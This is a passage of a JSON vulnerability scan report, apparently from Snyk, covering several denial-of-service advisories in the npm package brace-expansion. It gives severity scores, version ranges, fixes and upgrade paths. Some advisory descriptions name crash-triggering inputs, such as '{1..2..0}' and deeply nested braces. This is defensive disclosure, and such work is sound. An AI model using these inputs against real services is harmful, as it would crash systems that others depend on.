Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": 